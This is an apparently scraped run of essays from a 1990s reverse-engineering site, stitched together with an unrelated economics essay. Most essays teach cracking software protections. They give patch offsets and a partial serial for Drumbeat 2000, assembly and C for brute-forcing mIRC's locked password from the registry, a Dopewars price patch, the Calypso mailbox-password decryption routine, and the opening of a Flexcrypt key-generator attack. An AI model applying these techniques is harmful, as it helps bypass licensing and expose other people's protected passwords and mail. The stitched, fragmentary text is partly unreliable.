:10005A57 8DBD71FFFFFF lea edi, dword ptr [ebp+FFFFFF71]
:10005A5D F3 repz
:10005A5E AB stosd
:10005A5F AA stosb
:10005A60 C6853CFFFFFF00 mov byte ptr [ebp+FFFFFF3C],00
:10005A67 B90C000000 mov ecx, 0000000C
:10005A6C 33C0 xor eax, eax
In perusing the code above you will notice that there is a cmp ecx at 10005AD6. But what is it
comparing? It's the same cmp we've had in several other rsagnt32.dll's. It is comparing the length of the
input string. If you don't have 10 of something in there it will drop you down through the "bad" variable,
10042330 at 10005AFD. Ah, you say, that was too easy and indeed it is, with a little help. Look to the
south of where you are now though, to that other MessageBoxA that we've already encountered at
10005C03. Examine all that code in between from 10005B30 - 10005C03. How do you get around this
guy? Well, if you keep putting in the wrong code, you'll never get around it. There is no jump around this
baby! This area is the heart of the monster and the call at 10005B78 takes us right to the variables I
mentioned earlier, PQYZMERUOA--which is at 1000c957 and JIKLICBXZC- which is at 1000c98b.
Remember those twins? You'll, of course, see them in the register listings along with, but not in the same
place as the "REAL" code that we need to unlock this proggy. Unfortunately, and yet ultimately for your
benefit, your codes will most likely be very different from my own, hence I will not provide mine to you.
I will tell you this much though, ALL of the input string will be capitalized letters of the length = 10. If
you start examining the code closely, and I mean step through this stuff slowly, you will see the
evolution in the register listings as mentioned earlier. Check them all though. There are many subtle
clues left out, but I must give you one more big mega-dose of help- when you finally have the correct
code and input it in the "Unlock Code" area, w32dasm may give you an error message dealing with a
divide by zero. At this point you may get out of the running prog and go directly to Drumbeat 2000 and
input the data field and watch the flower unfold. After the unfolding, the old Drumbeat.exe has been
magically replaced with a new larger executible and w32dasm won't be working any longer on the old
prog, and at the same time the new, larger executible asks you for the Macromedia serial number to input
and thusly allow your program to be fully usable. We didn't talk about that, did we? Well, we weren't
there yet. You can crack the prog if you want to, but there is no need for it. The serial number has been
graciously provided for us in the new Drumbeat.exe. If you decompile it in w32dasm after quitting you'll
be able to find it easy enough. It starts with BDA100- As always, I am totally available to advise and
help some, but you must read this stuff and try to absorb it. "Luke, do or do not, there is no try!" Yoda to
Luke Skywalker while the master was training the young Jedi Knight. Sojourner
Final Notes
There is much to learn. "You must Act as if it is Impossible to fail!" unknown quote. As always, I am
indebted to fravia+ for his encouragement and help and his tremendous fortress of knowledge and the
opportunity to share a little of what I have reaped from his site and the many other people who have
taken their time to share their knowledge with a hungry world. As an aside, VBOX remains of great
interest to me and I would welcome any input from others who are up to speed on that system. Just email
at the above. Also, I am toying with the idea of a three dimesional security code. Enjoy your life- "Life is
but a vapor. Here for awhile and then gone." quote from the Biblical King David
Oh Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:
homepage links search_forms +ORC students' essays academy database
reality cracking how to search java-script wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?
This is my first essay in a foreign language and I hope that Fravia+ will publish it on his great fortress.
I've started my cracking & reversing carrier exactly one year ago, and I wish now to help reversers and protectors to
understand this wonderful and interesting art :D
Introduction
No no :D dear old +crackers... I'm going to write a very small "Brute Force Cracker" to reverse a new kind of "protection"
introduced by mIRC 5.6x.
In fact in this last version (released in June '99) the mIRC coder enable you to lock your favourite irc client with a masked
password...
[Quite interesting... no? LET'S REVERSE !]
Tools required
In order to "read" this essay you need:
..an idiot PC :p
Numega SoftICE
Borland tASM
W32dasm
a little Brain...
... a very cold bottle of Leffe red beer (or the Couvee' one ;) ...
... and a LOT of good PUNK music ! (only you in my MIND :-P)
( Punkreas - Pornoriviste - Lag Wagon - NOFX - Bad Religion - Clash & NoMAdI & NirVAnA ;-)
Target's URL/FTP
If you need our target, download it from its Homepage: mIRC
I suggest you also to visit the cool site of my Reversing Group: RingZer0
And.. my email address: along3x @ geocities . com
Program History
Probably mIRC have one of the easiest protection schemes in the world...
You can find everywhere simple tutorials explaining how patch his .EXE to hide the ugly "Unregistered" word.
There is also the +Malattia tutorial about the mIRC "KeyGeneration", but now in the latest version (5.6x) there is a new nice
option in this good IRC client.. & this option is really nice to REVERSE.
Essay
So i've decided to try to work on this new feature...
Ok. I've locked the proggie with the passwd "fabio" (hmmm quite nice this name :p).
That's all... and i've tried to look around to find this "stupid" word
written somewhere in a plain text format in the configuration files in the mIRC
directory.
D'oh :( Nothing of this.. and now ? Let's run the Regedit. and under the Key
"HKCU\Software\mirc" we can find something of really "useful"...
Well, probably the essay can finish here, but we're reverser and not simple
byte changer, and so we must go ahead with this work ! :P.
Ok... i'm back again with my dear old (and very slow) P100 =)
First of all we must set again the lock code and set ON the checkBox "Ask for
password on startup". Then terminate mIRC and press CTRL+D to enter in sice.
We have set ON this checkbox in order to have a dialog box (waiting the password)
when we load mirc32.exe.
We can set a "bpx advapi32!RegQueryValueA" and run mIRC. The proggie will break
after some other breakpoints in this position:
This simple call read our good code 1657786368,192 from the windows register.
(in order to understand that this is the right call you must take a look to
the pushed arguments.
After this call EAX points to the comma (',') in the string readed from the
win register.
This mov instruction substitutes the comma (',') with a Zero ('\0') to create
an useful asciiZ(ero terminated) string.
This call puts in EAX the number after the "old" comma char.
This call puts in eax the number (of course in HEX format) before the "old"
comma char.
This instrucion puts in a 4 bytes variable in 004DE6AC the hex number. (it's
built with the password that we've setted in the options dialog)
Ok.. quite simple.. now we'll set a "BPR 004DE6AC 004DE6B0 R".
Placing this breakpoint on range we'll see where our "cripted" locking code
is readed from the proggie.
and then:
-> in 0049D787 -> it is compared with 0 (to check if mIRC is locked or no..)
Now the proggie reaches the request of the UN-locking code.. if you enter a
dummie code like 'cacca' you will break again in our target here:
If you look carefully in this function and debug into it sometimes, you will
understand that in "dword ptr [ebx]" is stored the cripted unlocking inserted code..
and.. very IMPORTANT.. the condition of the JG is never verified.. and also
the value pointed by EBX (that is the cripted unlocking code) doesn't change
from the "JG" to the "MOV EAX, DWORD PTR [EBX]".
CRYPT_MIRG3X.ASM :
_________________________________ _ _ _
mov CodiceOK, 0
mov Check, 0
mov eax, offset PassTrial
mov Ofs_Pass, eax
jmp Second_Jmp
First_Jmp:
Second_Jmp:
jne First_Jmp
mov eax, CodiceOK
_________________________________ _ _ _
Hmmhhh :( i don't code since a lot of time, and this work is quite hard for my
poor brain.. However i've write down this UGLY routine in C:
BRUTE_MIRG3X.C :
_________________________________ _ _ _
#define MAX_CHAR 8
#define FIRSTCHAR 'a'
#define LASTCHAR 'z'
void main(void)
{ // BEGIN
int number_of_char=1;
int counter,toinc;
char code[MAX_CHAR]="";
code[0]=FIRSTCHAR;
do
{
// CheckUnLockCode...
toinc=1;
counter=0;
while (code[counter]==LASTCHAR)
{
if (code[counter+1]=='\0')
{
++number_of_char;
code[counter+1]=FIRSTCHAR;
code[counter]=FIRSTCHAR; //
toinc=0;
}
else
{
code[counter]=FIRSTCHAR;
counter++;
}
}
if (toinc) ++code[counter];
}
while (number_of_char<=MAX_CHAR);
} // END OF FILE
_________________________________ _ _ _
I think that it works... it isn't a good code, but the most important thing is
that it seems to work :p
The last step is to create the complete ASM source code of our application.
So we can use the file "crypt_mirg3x.asm" and must generate manually the bruteforcing
routine in ASM, translating with our hands the C code.
MIRG3X.ASM :
_________________________________ _ _ _
; GENERAL CONSTANTS
NULL equ 0h
; USER32
extrn MessageBoxA :PROC
; KERNEL32
; ADVAPI32
extrn RegOpenKeyExA :PROC
extrn RegQueryValueExA :PROC
extrn RegCloseKey :PROC
.data
hRegister dd 0h
KeyToOpen db "Software\mIRC\lock",0
KeyName db 0
ReadedKey db 40 dup(MAXLEN)
SizeKey dd MAXLEN
; SPONSOR !!! :D
.code
_start:
; THIS PIECE OF CODE READ FROM THE REGISTER THE LOCK KEY
; THIS PIECE OF CODE IS USEFUL TO STORE IN EBX THE LENGHT OF THE NUMBER
; BEFORE THE ','
NextChar:
inc ebx
jmp NextChar
; GO TO THE NEXT CHAR
; THIS PIECE OF CODE SUBSTITUTES THE ',' WITH THE ZERO ASCII CODE
Substitute:
; THIS PIECE OF CODE TRANSLATES THE NUMBER IN THE ASCIIZ STRING INTO AN HEX NUMBER IN
EAX
xor ecx,ecx
inc ecx
PrevChar:
dec ebx
xor edx,edx
mov dl, byte ptr [edi+ebx]
sub dl,30h
mov esi,ecx
imul esi,edx
add eax,esi
imul ecx,0Ah
test ebx,ebx
jne PrevChar
; IF THE PROG HASN'T REACHED THE FIRST FIGURE OF THE NUMBER THE THE
; PROG GO TO THE PREVIOUS CHAR
cmp eax, 0
je Nokey_Error
; IF THE VALUE OF THE READED KEY IS 0 THEN THERE ISN'T A LOCK PASSWORD
; AND THE PROGRAM JUMPS TO THE ERROR MESSAGE
; ____________________________________________ _ _ _
; /
; THIS ROUTINE MAKES A BRUTE FORCE CRACK COMPARING THE GENERATED CODE WITH THE
; VALUE OF "Registro" VARIABLE, READED FROM THE Windows Register
; _______________ _ _ _
; /
; THIS IS THE CORE OF THE CRYPTING ROUTINE
Punkreas:
First_Jmp:
Second_Jmp:
jne First_Jmp
mov eax, CodiceOK
; \_______________ _ _ _
; END OF THE CRYPTING ROUTINE. THE RESULT IS IN EAX
Continue:
Pippo:
Shandon:
PornoRiviste:
test bl, bl
je Fine
inc byte ptr [edi+eax]
Fine:
; \____________________________________________ _ _ _
; END OF THE BRUTE-FORCING. IF THE PROGRAM HAS NOT FOUND ANY VALID KEY THEN THE
; PROGRAM SHOW AN ERROR MESSAGE
; _______________________ _ _ _
; /
; THIS ROUTINE PLACES AT THE END OF THE "Result" MESSAGE THE CORRECT LOCK
; PASSWORD AND SHOW THE RESULT OF THE CRACK
Show_The_Code:
OtherChars:
inc ebx
mov cl, byte ptr [edi+ebx]
mov byte ptr [eax+ebx], cl
cmp byte ptr [edi+ebx], 0h
jne OtherChars
; IF THE CURRENT CHAR IS != '\0' THEN THERE ARE OTHER CHARS THAT MUST BE
READED
; \_______________________ _ _ _
; END OF THE ROUTINE SHOWING THE CORRECT UNLOCKING CODE
; ____________ _ _ _
;/
; ERROR MESSAGES
Uncracked_Error:
Nokey_Error:
Open_Error:
Invalidkey_Error:
;\____________ _ _ _
; END OF ERROR MESSAGES
End_App:
end _start
_________________________________ _ _ _
Welll DONE !
This is the complete code of this brute-force cracker :)
I cannot explain every step of this code to keep quite small this tutorial,
however if you don't understand it.. mail me.
I've inserted some comments to help the reader. And I think that with a little
knowledge of the assembler this essay can be readed in a easy way.
(the names of the labels are referred to some italian punk groups >:)
I've tested this executable on my Pentium 100 and it needs 43 seconds to crack
the word of 1 2 3 4 and 5 letters.
To do the same thing on the Pentium II 233 of a my friend it needs 9 seconds.
1) Crypting routing.
2) Reading Operations of the masked code.
And.. you must remember that a crypted value can be the result of different
inserted password.
I.E. :
I set the password "fabio"
The bruteforce cracker find the password "nobaa"
In fact these two values inserted in the cripting routine give the same result:
"1657786368"
Moreover you can see that the number after the comma is obtained using the options
of the lock section.
If you set ON only the "Ask on startup" checkbox the number after the comma
is "1". If you set OFF that checkbox, the number after the ',' becomes a "0".
Of course there are also a great number of other combinations.
Final Notes
Ok. Now the tutorial is really finished. I hope that someone like it ;) However i think that Information Wants To Be Free. Then
I've decided to give my very little knowledge to everyone that wants learn.
Many thanks to: (extremely detailed and long greetz-list semanthically condensed by fravia+ :-)
+xOANINO; +kill3xx; +Malattia; +Neural_Noise; +GEnius; RingZer0 and everyone that consider me a "friend"
Dear friends.. mail me @ along3x@geocities.com
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
"An essay designed for beginners to show how an algorithm can be reversed in order to 'cheat' the game and pwerhaps register
yourself on the worldwide high score list...
Of course you will still need your skill to do this - the reversing only makes the job easier."
Dopewars
Reversing an algorithm to ensure gameing success and fame on the
internet.
Written by smeggett
Introduction
I received my copy of Dopewars via email and was (almost) hooked on it quite quickly, trying to obtain higher and higher
scores. During the course of play I noticed that some drug prices became exceedingly high (or low) on the odd occasion, whilst
the rest of the time they fluctuated only minorly.
It was at this stage that I decided to look further into the game and see if it was possible to manipulate the pricing algorithm so
that the game would throw up the exceedingly high prices every second turn (so you can buy low, sell high of course...)
So look further I did and found that after rewriting some of the code for the routine it was possible to achieve this goal.
Tools required
WDasm 8.9
Target's URL/FTP
http://www.beermatsoftware.com/dopewars/download.asp
File: Dopewars.exe
Size: 526,848 bytes
Program History
None really - started as a MSDOS game in 1984 - has had a windows frontend put on.
Essay
The first step in this game is to try and find the algorithm which sets the drug prices, so load the program into WDasm and do a
string search for the text used in the message boxes to notify you of an exorbitantly high price (or low price). Select this and
you will land in the middle of the pricing routine. The routine is fairly long (about three printed pages in all), but also fairly
easy to follow.
The first part of the routine (beginning at 45D120) saves some values and the initializes a few variables. Address 45D13E is
where the fun begins. You will notice the call at 45D142 (CALL 402ACC) is repeated quite a bit throughout this routine - this
is the price generator which is 'seeded' by the values in eax and edx. (esi stores the drug count - there are 13 in all)
45D13E 8B4304 mov eax, dword ptr [ebx+04] ;set seed value
45D141 40 inc eax ;add one
45D142 E88559FAFF call 402ACC ;set price
45D147 0303 add eax, dword ptr [ebx] ;modify price with
fixed value
45D149 894308 mov dword ptr [ebx+08], eax ;store price
45D14C B808000000 mov eax, 00000008 ;seed price generator
45D151 E87659FAFF call 402ACC ;set price
45D156 40 inc eax ;do sod all
45D157 48 dec eax ;perhaps set the Zero
flag
45D158 7506 jne 45D160 ;goto cheap (buy)
drug routine
45D15A C6431600 mov [ebx+16], 00 ;set no cheap (buy)
drugs
45D15E EB04 jmp 45D164 ;goto next
* Jump at Address45D158(C)
45D160 C6431601 mov [ebx+16], 01 ;set cheap drugs
(buy)
* Jump at Address45D15E(U)
45D164 807B1400 cmp byte ptr [ebx+14], 00 ;if 0 then no super
expensive drugs
45D168 0F8488000000 je 45D1F6
45D16E B814000000 mov eax, 00000014 ;seed price gen
45D173 E85459FAFF call 402ACC
So I decided that I would need to set up a variable which would flip-flop every second turn (probably from 0 to 1 to 0, etc)
which i could use to force a low or high price for drugs. Looking at the code it seemed that it would be possible to use a global
variable pointed to by [ebx + offset]. A quick scan of the code reveals that the following variables are used by the program:
[ebx+04] dword
[ebx+08] dword
..
[ebx+14] byte
[ebx+15] byte
[ebx+16] byte
My first hunch was to try something in the middle (ie not reuse and existing variable, so I chose [ebx+0C] as my new variable.
The next step was to decide where to put our new code. The idea was to modify the program by replacing existing code, but
what?
Looking at the code section above I decided that i could replace all the conditional jumps and intervening code. This means the
code from 45D156 to 45D181, which gives us 43 bytes to play with.
So I wrote my routine, and then had to translate it into Opcodes to check the length and make sure that it would fit into the
required space. For those of you that have done your homework and traced this routine through with a debugger (I used
WDasm, 'cos I foolishly installed NT Service Pack 5 which has screwed with my version of SoftIce :( ) you will realise that the
routine loops 13 times - once for each drug on the list, and that the base pointer (ie ebx) is adjsuted at the end of this routine to
point to the price data for the next drug. This is good, since it means that the variable we assign a 0 or 1 to [ebx+0c] will be
preserved for each turn.
45D156 807B0C00
45D15A 7406
45D15C C6430C00
45D160 EB04
45D162 C6430C01
45D166 807B0C00
45D16A 0F8486000000 ;32 bit jmp
45D170 B814000000
45D175 E85259FAFF
45D17A 40
45D17B 48
So now you can patch the program using PSEdit (or whatever else you fancy) and run it.
You have a problem? So did I! It seems our variable [ebx+0c] is used elsewhere and our use of it causes an overflow and the
program crashes (luckily whoever wrote this code initially put in an error handler routine so we wont cause too much
damage...)
OK, wrong variable - how about we use one of those byte variables already used for our own purposes? I chose [ebx+16] to
accomplish this task - we keep the patch the same, just modify the 0C bytes to 16 in the code above. Patched? Good, now try
this...lots of messages and hugely expensive drug prices - but wait - we go to a new day, and we have no drug prices, no drugs,
nothing!! Odd! Take the train somewhere, new day and horrendously expensive drugs. So half our job is done.
I spent a lot of time tracing through this routine and the program trying to find out why this happened (ie tracking the cause)
but I could not find it (well, I didn't look that hard). Logic suggested that our old [ebx+16] variable must have been causing
this, since this was all that we modifed. I thought about this and decided to change the condition checks from 0 and 1 to 2 and
3. Well, what do you know, it worked!! The game opens with cheap drugs, the next day you have expensive drugs, and the day
after cheap drugs. Whoo-Hoo!!!
Now, before you go and try for those high scores you might like to NOP the jumps at 45D20E and 45D208 and also modify
45D1F6 to read:
45D1F6 807B1602
45F1FA 756B
so that you will be guaranteed cheap cheap drugs on your fisrt turn. Now, go bombard to web site with your high scores (they
have a register there...)
Final Notes
This is my first real attempt at truly reversing software, apart from some lazy
crappy cracks,
and i must say that it has taught me a lot when it comes to understanding the
function of various
items of code. It is a truly great feeling when it suddenly dawns on you how and why
everything is
happening. There is always method in the madness....
smeggett
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
See how programmers care when it is about user's own data security .
Introduction
This is not a tutorial on how to patch,crack,serial fish or keygen a
program. This essay is about Calypso's (email client) security.
Whenever you try open your password protected .box mail file a dialog
box will pop up asking for a user and pass.I tested it security and
Tools required
Wdasm
hiew
SoftIce
Masm,Resource Editor (For password recovery tool creation)
Target's URL/FTP
Calypso 3.00 can be found here.
Program History
Not relevant
Essay
Calypso is a nice email program.Everything from accounts
passwords,program settings and even emails are kept in ONE file;that
makes it very easy when you are moving from one pc to another one or
when you want to backup your mail.Of course, this presents some major
risk as you might have already wondered.
This file (which has a .box extension) is,in some way,'crypted' for
obvious reasons.So i wanted to give it a try...i wanted to see how
good this 'encryption' was, and thats how i started the password
protection reverse engineering.
When you double click on a .box file, you will get the typical
dialogbox waiting for a password. At this point, the 'encrypted'
password (which is stored in the .box file as you remember :D ) is
decrypted in memory and it is compared to what we input once we click
on the 'ok' button. But since we dont want to make a patch or to fish
for the right pass, we should tackle the program BEFORE the dialogbox
pops up (that is, before the password is decrypted). So lets bpx on
CreateFileA, to intercept calypso when trying to open the .box file.
Of course, we will break on other calls to CreateFile before the one
we want to. (at least once, since we double click on the file thus
generating a call to CreateFile). Argh!! whats this? we break on
shell32.dll so i do a F12 (p ret) to return from that call to
CreateFile,and then i press F5 to exit from SoftIce and to break on
HANDLE CreateFile(
LPCTSTR lpFileName, // pointer to name of the file
DWORD dwDesiredAccess, // access (read-write) mode
DWORD dwShareMode, // share mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security
attributes
DWORD dwCreationDistribution, // how to create
DWORD dwFlagsAndAttributes, // file attributes
HANDLE hTemplateFile // handle to file with attributes to copy
);
As you can see, the first argument to this api is the name of the
file, that means, that in softice we have to look for the LAST
argument pushed to the stack before the CreateFile api is called.
Now we know that we need to dump the EDX register to know which file
this program is trying to open..but since the EDX register was
modified when the CreateFileA api was called, we need to break BEFORE
1000B880 and then yes, dump EDX.
So i clear my breakpoints (bc *) and put a breakpoint on
1000B873.Double click again on the .box file and BOOOOOOOOOOOm back in
Sice :). But this time ill do a 'D EDX' and guess what i got? yeah!
the path to my latigo.box :) we are on the right path d00d3 :D.
Now we know that the file is opened,and the bitch must about to read
it , so lets be ready for a ReadFile api! Keep on tracing till we find
something interesting:
Remember that some time ago, calypso MOVed ReadFile into EDI? well,
now its calling EDI, and that means that is calling ReadFile :).
BOOL ReadFile(
10010073 AB stosd
10010074 E2EA loop 10010060
10010076 5F pop edi
10010077 5E pop esi
10010078 59 pop ecx
10010079 58 pop eax
1001007A 5E pop esi
1001007B 5F pop edi
10010060 LODSD <- This instruction 'Loads' 4 bytes from the ESI
register into the EAX register.
10010061 not eax <- Inverts the bits of EAX forming the 1st
complement.
10010063 sub al, 43 <- substracts 43h from AL
10010065 sub ah, 43 <- substracts 43h from AH
10010068 rol eax, 10 <- Rotate left the EAX register 10 times
1001006B sub al, 43 <- substracts 43h from AL
1001006D sub ah, 43 <- substracts 43h from AH
10010070 rol eax, 10 <- Rotate left the EAX register 10 times
10010073 stosd <- store in EDI the 4 bytes contained in EAX
10010074 loop 10010060 <--repeat whole process as many times as ECX
indicates.
I hope you liked this tut and i also hope that it was not too long or
boring :).
Greetings to all the nice people @ #cracking4newbies ,to Fravia+
(thanks) and special greetings to MAC and Zito of course :).
Final Notes
So this is the end! As you can see, it was pretty stupid.And with
little effort i could make a tool to spy on my co-worker's
mail..hehe..just kidding :D.
So you see, 90% of the programs out there have little security. Why?
simple,their makers are lazy and its not their information they are
protecting,but yours :).
Oh btw,after the Calypso experience, i started trying to reverse other
proggie's security and guess what i found? they were all very easy
:)..maybe future essays?
Farewell!Adios!
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
Economic Wargames
and
credit card stupidity
by Dal Timgar
Reality cracking
The following essay is about the economic system of the world today. One of my readers who approves
of the contents refers to "economic wargame" as a metaphor. Much as I appreciate his approval, I
disagree that it is a metaphor. This is the real deal. Let me give you a metaphorical overview of my
presentation.
The global economy is a giant multilevel, multiplayer chess game. It is however, being played in the
dark. The powers that be, have the overhead lights switched off. To have any chance you need a
flashlight, and that would still leave the problems of learning the rules and developing your skills. It
seems most people only have a vague idea that some game is going on. I hope this essay can be a candle,
for ye who curse the darkness.
1. a decrease in value due to wear and tear, decay, decline in price, etc.
2. U.S. such a decrease as allowed in computing the value of property for tax purposes.
The fourth edition of Macroeconomics by Robert J. Barro of Harvard University defines depreciation as:
The wearing out of CAPITAL goods over time, often expressed as a fraction of the stock of capital.
When a car rental company buys automobiles, it contributes to the GNP and therefore NNP. The same
applies to cars purchased by consumers. However, as consumer autos deteriorate over the years the
depreciation is ignored, while that of capital goods is registered on the income tax forms of businesses.
Although economists have no direct method of obtaining Depreciation of Consumer goods (Dcon), to
pretend it doesn't exist when it must be a rather large amount is absurd. How many billions of dollars
worth of cars, refrigerators, stoves, air-conditioners, etc., etc. have American consumers trashed since the
end of World War II? So the equation should be:
Our economists are pulling a "Bill Clinton" on us. Limiting the definition of depreciation in a way that
makes economic losses to the average man disappear into space.
We live in a culture that has used complex machines for 300 years. The first patent on a steam machine,
number 356, was issued in 1698. Engineers can test, measure and specify the failure rate of mechanical
and electronic devices. A graph of the failure rate over time of a machine follows a pattern known as a
bathtub curve.
The curve gets its name from the obvious similarity to the cross-section of a bathtub cut lengthwise up
the middle. It starts with a high failure rate dropping rapidly to a minimum. This is when the machine is
new and has a high probability of manufacturing defects. The failures during this time are similar to birth
defects and are also known as infant mortality. The low point on the curve is where the device is least
unreliable and the Mean Time Between Failure (MTBF) is computed. The failure rate remains low for an
extended period then rises quickly when the device begins to wear out.
So what does the failure rate of machines have to do with depreciation of durable consumer goods? In
classical economics it is common to assume that consumers are rational, possibly for simplicity's sake.
But how can rational decisions be made with incomplete information? The only consumer products for
which I have ever seen MTBF data are disk drives for computers. Since computers have been primarily
used in businesses and losing data from hard disks causes serious problems, supplying reliability data on
hard drives is traditional. Where is the reliability data on other consumer products? What about cars,
televisions, VCR's? How are we supposed to make these rational decisions? The best information I've
seen is in Consumer Reports. They show graphs of failure rates by brand name based on surveys of
subscribers. They do not give break-downs by model within brand and usually only cover about eight
brands of a product type. Are manufacturers trying to maximize the useful life of their products? If not,
are they engaged in planned depreciation, usually called planned obsolesence?
In 1937 engineers at Lockheed began designing a new fighter plane. In January 1939 the first P-38 took
to the air for testing to begin eliminating design flaws. The P-38 Lightning began service in WWII in
April '42, it had two supercharged 1400 horsepower, counter rotating engines, a cruising speed of 350
mph, a maximum of 414 mph and a ceiling of 44,000 feet. The German's nicknamed it "The Fork-tailed
Devil". A squadron of Lightnings shot down Admiral Yamamoto over the Pacific in 1943.
Another child of Lockheed was conceived in 1958. It became the SR-71 Blackbird, a spy plane instead of
a war plane. Its maximum speed is still classified but is acknowledged as being capable of 2350 mph at
80,000 feet.
If engineers were capable of these feats 60 and 40 years ago, how can yearly variations in machines that
roll along the ground at less than 100 mph possibly be exciting. Going into debt to buy useless variations
in automobiles is economic insanity. Retooling factories to make parts that are shaped differently but not
technologically different increases the cost and therefore the price of consumer products. From 1908 to
the mid 1920's the Ford Motor Company made the same machine, the Model T. When introduced the
Model T sold for $850. By the time it was discontinued in the mid '20's the price was less than $300 and
15,000,000 had been manufactured. If the engineering capability that designed the Lightning had been
combined with manufacturing philosophy that produced the Model T to manufacture cars in the '50's,
how good a car, at how low a price could have been sold by 1960?
In an economic wargame society it is necessary to know how to keep score and the tactics of the enemy.
An individual's wealth is indicated by his or her net worth. Net worth is assets minus liabilities. Assets
are anything which can be assigned a monetary value that can be realized by selling the item. Liabilities
are debts which have to be paid eventually. So maximizing assets and minimizing liabilities are basic
objectives. However, all assets are not created equal. Some assets maintain or even increase their value
over time while others leak like a sieve. If an asset is so expensive one has to go into debt to purchase it,
then it is important to know how long the asset lasts; how rapidly it depreciates. Financial advisors tell us
that a home is the most expensive purchase that most Americans ever make, followed by automobiles.
Hopefully the value of ones home will increase but the value of a car can only decrease. By not
supplying reliability and durability data on their products auto makers are leaving consumers in the dark
and engaging in information hiding.
Paying an extra $200/mo. nearly cuts the time in debt in half while saving $88,000 in interest. But the
money for that extra payment has to come from somewhere. Cars and credit cards are two possibilities.
"There is no minimum payment due because lastmonth's payment exceeded the minimum payment due.
Your normal payment schedule will resume nextmonth. Finance charges will continue to accrue if the
new balance is not paid in full by the due date."
They're content to charge me interest while "graciously" allowing me to "save" money by not paying
them one month. Apparently I'm paying them faster than they would prefer. Making minimum payments
on credit cards means being in debt for years and paying 2 to 3 times the purchase price for everything
bought with the cards.
There is no limit to how dumb consumers are expected to be, some company named Providian keeps
sending me an application for a Visa "Classic". It has a $500 limit, 23.99% interest, a $49 application fee,
a $59 annual fee and they have the NERVE to say it's a limited time offer. It's the third time I've gotten
the offer, I don't see how it could get worse in the future. If some fool were to take this offer and make
minimum payments of 3% per month with this interest rate of 2% per month that would amount to
approximately $180 + $49 + $59 = $288 paid in the first year and still leave a bill of $440. How many
dummies do they find every month?
Buying "assets" that depreciate rapidly with credit cards is screwing oneself coming and going, and the
stockholders get to laugh all the way to the bank.
In the mid-1940's John von Neumann, a Hungarian-American mathematician, began inventing and
applying game theory to economics. This "game theory" seems to bestuck in academic never-never land
and is rarely mentioned in the real world. Lester Thurow, an MIT economist, made implications about it
in his book, "The Zero-Sum Society". A zero-sum game is one in which every gain by a "winner" is
matched by an equivalent loss by a "loser". A bank's stockholders may be winners while the credit card
customers could be losers. One man's liability is another man's asset. The global economic wargame is
virtually inescapable. If most worker/consumers don't know how to keep score it is a good bet there are
going to be a lot of losers. According to one web site 50% of Americans have a net worth of less than
$10,000. Two independent sources claim that more than 60% of the people that get bill consolidation
loans to eliminate high interest debt, proceed to charge up their credit cards again.
This bluntly states the power that wealth gives to those who possess it. To increase this power banks send
out millions of "slave" cards anually. The famous statement, "Freedom requires constant
vigilance" is usually assumed to apply to political freedom but it is even more applicable to economics.
Having to make rent or mortgage payments every month and possibly credit card payments means
maintaining a source of income, usually a job. Wargames are inherently unstable. Companies get bought,
companies go out of business, jobs can be lost.
Our educators constantly talk about preparing students for the workforce though businessmen regularly
complain about potential employees not being sufficiently skilled. Our colleges eagerly promote statistics
which indicate that higher education leads to higher salaries. That's fine for the income side of the
equation but how much attention is devoted to the expense side? How many high-school graduates know
what net worth is, or understand amortization schedules? What good does it do if our educators only
create competent employees who then get fleeced of their hard earned cash? Or could it be that our
educators are another set of fleecers? I once saw a TV program which interviewed people who told
employers they had college degrees but had actually lied. Many of them worked for years, got raises and
promotions. What do you need to know to pretend you have a degree in psychology, or history, or
english literature?
Spend a few months reading some decent books and who'll know the difference? Was it 60 Minutes? I
can't recall. Of course this was years ago and cheap computers and telecommunication have probably
made verification of education much easier. This may not work today. Could it be I'm getting too
cynical?...
...Nahh!
I'm getting tired of typing so before signing off I'll just suggest doing a little web browsing to check stuff
for yourself, like von Neumann and game theory and P-38 Lightnings. You might check out a few books
too:
So, to misquote that Vulcan that never explained what it meant to prosper, "Live long and good luck in
the economic wargame". No, that's no good, Vulcans don't believe in luck. Make that, "Live long and use
killer tactics (in the economic wargame)".
Dal Timgar
If you approve of the contents of this essay, feel free to copy, email or otherwise distribute.
dal_timgar@zensearch.net
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
Here we extend the excellent work by Pilgrim (pilgrim2.htm: Pilgrim's Further FlexCrypt analysis, see also
flexm11.htm: FlexLm handy hints and pflexlo1.htm: FlexLock...less secure than the rest of FLEXlm) on the workings of
Flexcrypt. The true value here is not in the keys or files that you will be able to generate after reading this essay, but in
understanding how weak algorithms can compromise security. I will provide information so that seekers of knowledge
can understand and reproduce what has been revealed (for there is no substitute for doing) but this is not truly required
for getting some value from this essay.
Introduction
Flexcrypt is used by Globetrotter to try to prevent unauthorized parties from acquiring information and examining it.
From a cryptographic point of view, the capability of this software is not adaquate. The "key" which is provided in most
cases is an authorization code only, and does not contain cryptographic information required to decode the encrypted file
- it is only an index into a table of existing keys which are stored within the executable. Two methods of attacking this
program will be described. The first method is an attack on the key generator. The second method examines the
algorithm used in the encryption.
Tools required
http://www.instinct.org/fravia/flex2_45.htm (1 of 10) [2/7/2001 3:28:05 PM]
flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)
dde | softice
Some patience.
Target's URL/FTP
ftp://ftp.globes.com
Program History
Little is known about the origin of this program. Analysis of the design of the program shows that it is a modification of
